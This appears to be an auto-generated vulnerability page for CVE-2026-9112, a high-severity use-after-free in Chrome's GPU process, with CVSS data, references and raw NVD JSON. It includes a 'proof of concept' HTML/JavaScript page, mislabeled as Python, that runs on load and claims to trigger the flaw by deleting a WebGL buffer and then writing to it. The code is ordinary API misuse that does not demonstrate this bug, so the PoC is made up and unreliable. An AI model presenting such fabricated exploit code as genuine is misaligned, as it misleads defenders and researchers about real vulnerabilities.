CVE-2026-9112

Description

Use after free in GPU in Google Chrome on Windows prior to 148.0.7778.179 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Google Chrome < 148.0.7778.179

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- Proof of Concept for CVE-2026-9112 (Conceptual Use After Free) -->
<!-- This script demonstrates the logic to trigger a GPU UAF -->
<html>
<head>
<script>
function trigger_exploit() {
    try {
        // Create a WebGL context to interact with the GPU process
        const canvas = document.createElement('canvas');
        const gl = canvas.getContext('webgl');
        
        if (!gl) {
            console.log("WebGL not supported");
            return;
        }

        // Step 1: Allocate a GPU buffer object
        const buffer = gl.createBuffer();
        gl.bindBuffer(gl.ARRAY_BUFFER, buffer);
        
        // Step 2: Perform operations to prepare the heap for UAF
        // (In a real exploit, heap grooming would happen here)
        
        // Step 3: Delete the buffer to free memory in GPU process
        gl.deleteBuffer(buffer);
        
        // Step 4: Attempt to use the freed buffer reference
        // This triggers the Use After Free vulnerability
        gl.bufferData(gl.ARRAY_BUFFER, new Float32Array([0.0, 1.0, 0.0]), gl.STATIC_DRAW);
        
        console.log("Potential crash or code execution triggered");
    } catch (e) {
        console.log("Exception caught: " + e.message);
    }
}

window.onload = trigger_exploit;
</script>
</head>
<body>
<h1>CVE-2026-9112 GPU UAF Test Page</h1>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-9112
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-9112
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-9112/
[4] VulDB https://vuldb.com/cve/CVE-2026-9112
[5] https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0841193308.html
[6] https://issues.chromium.org/issues/489791425

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-9112", "sourceIdentifier": "[email protected]", "published": "2026-05-20T20:16:42.043", "lastModified": "2026-05-20T20:16:42.043", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use after free in GPU in Google Chrome on Windows prior to 148.0.7778.179 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-416"}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0841193308.html", "source": "[email protected]"}, {"url": "https://issues.chromium.org/issues/489791425", "source": "[email protected]"}]}}